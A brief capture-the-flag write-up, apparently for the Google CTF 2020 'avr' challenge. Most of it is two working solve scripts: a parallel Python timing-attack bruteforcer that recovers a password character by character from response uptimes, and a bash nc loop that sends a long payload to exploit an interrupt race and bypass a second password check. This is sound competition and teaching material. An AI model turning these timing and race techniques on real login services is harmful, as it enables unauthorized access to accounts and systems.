Tags: side-channel avr timing-attack
Rating: 5.0
A timing attack on an insecure password check, followed by some interrupt handling race condition exploitation.
Login bruteforce:
```
#!/usr/bin/python3
import re
import statistics
import sys
from pwn import *
from multiprocessing import Pool
context.log_level = 'error'
def f(job):
c, prefix = job
password = prefix + c
times = []
found = False
for i in range(5):
conn = remote('avr.2020.ctfcompetition.com', 1337)
conn.send(b'\nagent\n' + password.encode('ascii') + b'\n')
data = conn.recvuntil([b'Wrong user/password', b'Access granted'], timeout=10)
if (b'Access granted') in data:
print('Password found!')
print(password)
found = True
break
u1 = int(re.findall(b'Uptime: ([\d]+)us', data)[0])
data = conn.recvuntil([b'Login:'], timeout=10)
conn.close()
u2 = int(re.findall(b'Uptime: ([\d]+)us', data)[0])
times += [u2 - u1]
return c, times, found
def bf():
password_prefix = ''
next_mtime = None
p = Pool(20)
while True:
times = {}
jobs = [(c, password_prefix) for c in string.ascii_letters + string.digits + string.punctuation]
for c, ts, found in p.map(f, jobs):
if found:
return
times[c] = ts
mtimes = {k: max(times[k]) for k in times.keys()}
mmed = statistics.median(mtimes.values())
next_c = max([(mtimes[k], k) for k in mtimes.keys() if mtimes[k] > mmed])[1]
next_mtime = mtimes[next_c]
print(next_c, next_mtime, mmed)
password_prefix += next_c
bf()
```
Second password check bypass:
```
#!/bin/bash
while true; do
payload=$(printf '1%.0s' $(seq 1 167))
payload2=$(printf '2\n%.0s' $(seq 1 150)) # read secret
flag=$(echo -ne "\nagent\n$payload\nagent\ndoNOTl4unch_missi1es!\n$payload2\n4\n" | nc avr.2020.ctfcompetition.com 1337)
if [[ ! -z "$(echo $flag | grep CTF\{)" ]]; then
printf "$flag" | grep CTF\{
break
fi
done
```
Full writeup at http://ratmirkarabut.com/articles/ctf-writeup-google-ctf-quals-2020-avr/